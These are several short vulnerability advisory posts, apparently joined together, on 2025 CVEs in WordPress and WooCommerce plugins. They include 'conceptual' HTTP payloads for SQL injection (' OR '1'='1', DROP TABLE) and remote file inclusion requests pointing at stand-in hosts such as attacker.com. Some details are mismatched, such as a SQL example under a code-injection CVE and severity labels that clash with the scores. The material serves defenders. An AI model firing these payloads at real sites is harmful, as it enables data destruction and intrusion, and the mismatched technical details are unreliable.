Author: Ameeba

Overview

This blog post will cover the details of the CVE-2025-48141 vulnerability, a significant SQL Injection flaw found in the Multi CryptoCurrency Payments application developed by Alex Zaytseff. This vulnerability is a serious concern for any organization using affected versions of the software, as it enables potential system compromise or data leakage. As cybersecurity threats continue to evolve, it is essential to stay informed about such vulnerabilities and take the necessary steps to mitigate their impacts.

Vulnerability Summary

CVE ID: CVE-2025-48141
Severity: Critical (CVSS: 9.3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Multi CryptoCurrency Payments | n/a through 2.0.3

How the Exploit Works

The vulnerability arises from the improper neutralization of special elements used in an SQL command within the application. This means that an attacker could manipulate the SQL statements executed by the application, typically by injecting their own malicious SQL code. This could lead to unauthorized access, data theft, data corruption, or even a full system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. An attacker could send a specifically crafted request to the application, where “malicious_payload” is a string devised to manipulate the SQL query.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "' OR '1'='1'; -- " }

In this example, the payload `”‘ OR ‘1’=’1′; — “` is a basic SQL injection. When included in an SQL query, it modifies the condition to always be true, potentially allowing the attacker to bypass authentication or retrieve all records from a database.

Recommended Mitigation

Users of the affected products are advised to apply the vendor patch when available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It’s also recommended to follow best security practices such as least privilege principle and input validation to reduce the attack surface.
Remember, the first step in defending against cyber threats is staying informed, and the next step is taking action. Stay safe out there!

Overview

In the world of cybersecurity, the discovery of a new vulnerability can be a game-changer, especially when it affects popular e-commerce platforms such as WooCommerce and WP E-commerce. The vulnerability in question, CVE-2025-48129, is one such instance. It pertains to an incorrect privilege assignment vulnerability in Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. This issue is particularly concerning since it allows for privilege escalation, potentially leading to system compromise or data leakage. Given the popularity of WooCommerce and WP E-commerce platforms, the impact of this vulnerability is both widespread and significant.

Vulnerability Summary

CVE ID: CVE-2025-48129
Severity: Critical (9.8 CVSS score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The exploit takes advantage of an incorrect privilege assignment in the Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. The flaw allows an attacker with low-level user privileges to escalate their privileges. Once the attacker has escalated privileges, they have unauthorized access to functionalities and data, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, an attacker could send a malicious payload through an HTTP request:

POST /vulnerable/privilege_escalation_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_privilege": "admin",
"user_id": "attacker"
}

In the example above, the attacker is manipulating the user privilege parameter to gain admin access, exploiting the vulnerability to escalate their privileges.

Mitigation and Prevention

Users are urged to apply the vendor-provided patch to fix this vulnerability as soon as possible. If the patch is not immediately available, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating and patching systems, as well as monitoring system logs for any unusual activity, can also help prevent potential exploits.

Overview

The cybersecurity landscape is consistently evolving with new vulnerabilities being discovered frequently. One such recent discovery is the CVE-2025-48140 vulnerability, which has been identified in the MetalpriceAPI. This vulnerability is of grave concern, primarily due to its severity and the ease with which it can be exploited.
This vulnerability directly affects the MetalpriceAPI, a widely-used service in the metal trading market. It poses significant risks for both individual users and corporate entities alike. If leveraged successfully, this vulnerability could lead to system compromise or data leakage, making it a critical issue that warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-48140
Severity: Critical (9.9 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

MetalpriceAPI | N/A – 1.1.4

How the Exploit Works

The CVE-2025-48140 exploit takes advantage of an ‘Improper Control of Generation of Code’ vulnerability in MetalpriceAPI. This vulnerability allows for Code Injection, where an attacker can inject malicious code into the application. This code is then executed by the application, potentially leading to unintended consequences such as unauthorized system access, data leakage, or even full system compromise.

Conceptual Example Code

This vulnerability might be exploited using a HTTP request similar to the conceptual example below:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "{injected_code_here}"
}

In this example, the `malicious_payload` contains the malicious code that the attacker wishes to inject. The target application, due to its vulnerability, accepts and executes this code, leading to the potential undesirable outcomes mentioned earlier.

Mitigation Guidance

The immediate recommended action to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. However, until such a patch is available, you can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation measure. Both of these measures can help detect and block attempts to exploit this vulnerability.

Overview

This blog post is dedicated to dissecting and understanding a critical vulnerability, referred to as CVE-2025-48123. This vulnerability resides in the Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light, potentially affecting a large number of e-commerce sites that utilize these plugins. The issue at hand, code injection, is a notorious type of vulnerability that can allow attackers to inject and execute arbitrary code in the target system, leading to potentially devastating consequences, such as system compromise or data leakage.
The severity of this vulnerability is underscored by its CVSS score of 10.0, the highest possible rating, reflecting the extreme risk associated with this vulnerability. As such, understanding this exploit and how to mitigate it is of utmost importance to anyone using the affected software.

Vulnerability Summary

CVE ID: CVE-2025-48123
Severity: Critical, CVSS score 10.0
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The vulnerability arises from improper control of the generation of code within the application. In essence, the application fails to adequately validate and sanitize user-supplied input, allowing an attacker to inject malicious code. When this code is processed by the application, it is executed with the same permissions as the application itself, effectively granting the attacker control over the system.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

POST /changePrice HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"product_id": "12345",
"new_price": "; DROP TABLE users; --"
}

In this example, the attacker is attempting to exploit the vulnerability by injecting a SQL command (`DROP TABLE users;`) into the `new_price` parameter. If successful, this would cause the application to delete the entire “users” table from the database.

Mitigation

Given the severity of this vulnerability, it is highly recommended that users of the affected software apply the patch provided by the vendor as soon as possible. As an interim measure, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to filter out malicious inputs and protect against exploitation attempts. However, these should not be relied upon as long-term solutions, as they may not be able to prevent all potential attacks.

Overview

CVE-2025-48122 represents a significant security flaw found in the Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light software. This vulnerability allows attackers to perform SQL Injection attacks, potentially leading to system compromise and data leakage. Developers, administrators, and users of the affected software should take immediate action to mitigate this high-severity vulnerability. The software’s widespread use in e-commerce platforms makes this an issue of paramount importance, as it poses a threat to both businesses and consumers.

Vulnerability Summary

CVE ID: CVE-2025-48122
Severity: Critical (9.3 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Spreadsheet Price Changer for WooCommerce | Up to 2.4.37
WP E-commerce – Light | Up to 2.4.37

How the Exploit Works

The vulnerability lies in the improper neutralization of special elements used in SQL commands within the affected software. An attacker can exploit this weakness by injecting malicious SQL statements, often through user inputs or manipulated query strings. This allows the attacker to manipulate the database, potentially leading to unauthorized access, data manipulation, or data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. This example uses a malicious SQL statement inserted into an HTTP request to target the vulnerability:

POST /update_price HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "new_price": "100; DROP TABLE USERS;" }

In the example above, the attacker attempts to change a product’s price and then include a SQL statement (`DROP TABLE USERS;`) that, if executed, would delete the ‘USERS‘ table from the database.

Mitigation Guidance

Users of the affected software versions are advised to apply the vendor patch as soon as it becomes available. Until then, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and block SQL Injection attempts, reducing the risk of exploitation.

Overview

The vulnerability CVE-2025-47608 is a severe SQL Injection flaw found in sonalsinha21’s Recover abandoned cart for WooCommerce. It affects versions up to 2.5 of the software. This vulnerability has the potential to compromise the integrity, confidentiality, and availability of data in the affected system, a significant concern for any organization that depends on WooCommerce for their e-commerce operations. As the SQL Injection vulnerability allows a malicious actor to manipulate SQL queries, it poses a significant risk to the data that could be accessed or altered by exploiting it.

Vulnerability Summary

CVE ID: CVE-2025-47608
Severity: High – CVSS Score of 9.3
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

sonalsinha21 Recover abandoned cart for WooCommerce | Up to version 2.5

How the Exploit Works

The flaw resides in the improper neutralization of special elements used in an SQL command in sonalsinha21’s Recover abandoned cart for WooCommerce. It can be exploited by an attacker by injecting malicious SQL code into the application, which then gets executed in the database. This might allow the attacker to view, modify, or delete data, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability could be exploited:

POST /woocommerce/recover-cart HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
cart_id=1; DROP TABLE users--

In this example, the attacker sends a POST request with a malicious payload (“cart_id=1; DROP TABLE users–“). The “DROP TABLE users–” command could result in the deletion of the ‘users’ table from the database, causing a significant impact on the system.

Recommendations for Mitigation

To mitigate this vulnerability, it is recommended to immediately apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and prevent SQL Injection attacks by identifying and blocking malicious payloads. Additionally, regular security audits and code reviews can help in detecting such vulnerabilities early, reducing the potential impact on the system and the data it holds.

Overview

The CVE-2025-28992 vulnerability is a significant security flaw that affects users of snstheme’s SNS Anton PHP program. It is identified as an Improper Control of Filename for Include/Require Statement in PHP Program vulnerability, often referred to as a PHP Remote File Inclusion (RFI) vulnerability. This vulnerability is considered severe due to its potential to allow unauthorized remote access, which can lead to potential system compromise and data leakage.
Being a PHP-related vulnerability, it impacts a wide range of systems and applications that use PHP, a popular server-side scripting language. The seriousness of this vulnerability is underlined by its CVSS Severity Score of 8.1, indicating a high level of risk.

Vulnerability Summary

CVE ID: CVE-2025-28992
Severity: High 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

SNS Anton PHP Program | n/a through 4.1

How the Exploit Works

The exploit works by taking advantage of the PHP program’s improper control of filename for include/require statement. An attacker can manipulate the filename that the PHP include/require statement is intended to use, resulting in the inclusion (execution) of a remote file hosted on an attacker-controlled system.
This file can contain malicious code designed to compromise the server, such as code to create a backdoor, extract sensitive data, or otherwise manipulate the system in a way that benefits the attacker. As the PHP program runs on the server side, the vulnerability could potentially lead to a full system compromise.

Conceptual Example Code

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-website.com

In this conceptual example, an attacker sends a GET request to the vulnerable index.php file, appending a parameter `file` with a value pointing to a malicious PHP file hosted on their own server (`attacker.com`). If the server is vulnerable, it will include and execute the malicious PHP file, running the attacker’s code on the server.

Recommendations

It is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against this exploit.
Additionally, it is generally good practice to avoid using user-supplied input directly in include/require statements in PHP without proper validation and sanitization. This can help prevent such vulnerabilities from arising in the first place.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently published a critical vulnerability designated as CVE-2025-28945. This vulnerability specifically affects ‘Valen – Sport, Fashion WooCommerce WordPress Theme’ and potentially exposes systems to unauthorized access or data leakage. As the theme is widely used in various online stores, the potential impact of this vulnerability is considerable. A failure to address this vulnerability could result in substantial damage to both the security and reputation of businesses worldwide.

Vulnerability Summary

CVE ID: CVE-2025-28945
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Valen – Sport, Fashion WooCommerce WordPress Theme | Up to version 2.4

How the Exploit Works

The vulnerability occurs due to improper control of filename for include/require statement in PHP Program, known as ‘PHP Remote File Inclusion.’ This allows an attacker to include a remote file, usually through a script on the web server, which can execute arbitrary code. The attacker can thus gain unauthorized access to the system and potentially compromise data.

Conceptual Example Code

An example of how this vulnerability may be exploited is presented below. This is a conceptual representation and should not be used for malicious activities.

GET /index.php?page=http://maliciouswebsite.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com
Accept: */*

In this example, the attacker is exploiting the vulnerability by including a malicious file (`malicious_file.txt`) from a remote server (`maliciouswebsite.com`).

Mitigation Guidance

Users of the affected theme versions are urged to apply the vendor-provided patch as soon as possible. In case the patch is not immediately available or applicable, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. However, these are not long-term solutions, and patching the vulnerability remains the most effective way of addressing CVE-2025-28945. Always ensure that your systems are up-to-date and that you practice good cybersecurity hygiene to prevent such vulnerabilities from being exploited.

Overview

This blog post provides an in-depth technical analysis of a significant vulnerability identified with the identifier CVE-2025-31920. This flaw affects the WP Guppy application developed by AmentoTech. The issue lies in the improper neutralization of specific elements utilized in an SQL command, creating a potential for an SQL Injection attack.
This vulnerability is critical as it can lead to a potential system compromise or data leakage, drastically affecting the security of the data and integrity of the affected system. Any organization or individual using WP Guppy versions up to 4.3.3 should consider this vulnerability seriously due to its high severity.

Vulnerability Summary

CVE ID: CVE-2025-31920
Severity: High (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

AmentoTech WP Guppy | up to 4.3.3

How the Exploit Works

The vulnerability arises from the application’s failure to properly sanitize user-supplied input before incorporating it into an SQL query. An attacker could manipulate this flaw by providing a specially crafted input, which, when processed by the application, would distort the structure of the SQL query. This distortion can lead to unauthorized read or write access to the database, potential system compromise, or data leakage.

Conceptual Example Code

Here is a
conceptual
example of how this SQL Injection vulnerability might be exploited. This pseudocode represents a malicious HTTP request sent to a vulnerable endpoint:

POST /wp-guppy/vulnerable-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=' OR '1'='1

In this example, the input `’ OR ‘1’=’1` can manipulate the SQL query to authenticate the attacker as an admin without knowing the actual password.

Mitigation Measures

AmentoTech has released a patch to address this vulnerability, and users are strongly encouraged to update their WP Guppy application to the latest version. As a temporary mitigation measure, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent SQL Injection attacks.

Overview

The CVE-2025-31424 vulnerability is a significant security threat that affects users of the WP Lead Capturing Pages plugin by Kamleshyadav. This vulnerability stems from an improper neutralization of special elements used in an SQL command, which is more commonly known as an SQL Injection vulnerability. SQL injection attacks can have severe implications, as they provide attackers with the potential to compromise systems and leak sensitive data. Given the popularity of WordPress and its vast user base, this vulnerability has a broad reach which elevates its significance in the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2025-31424
Severity: Critical (9.3 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

WP Lead Capturing Pages | Up to 2.3

How the Exploit Works

The vulnerability arises due to insufficient sanitization of user input in the WP Lead Capturing Pages plugin. An attacker could exploit this vulnerability by sending a specially crafted request that includes malicious SQL commands. As a result, the attacker could manipulate SQL queries, leading to information disclosure, alteration, or deletion of data in the database, or even gain unauthorized access to the system.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look like:

POST /wp-lead-capturing-pages/submit HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=' OR '1'='1

In this example, the attacker is attempting to log in using the ‘admin’ username and a password that will always evaluate to true due to the SQL injection (‘ OR ‘1’=’1). This could potentially allow the attacker to bypass the login mechanism and gain unauthorized access.

Mitigation Guidance

To mitigate the impact of this vulnerability, users are advised to apply the vendor-provided patch as soon as it becomes available. As a temporary measure, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software, as well as implementing robust input validation and sanitization measures, are critical steps in minimizing the risk of such vulnerabilities.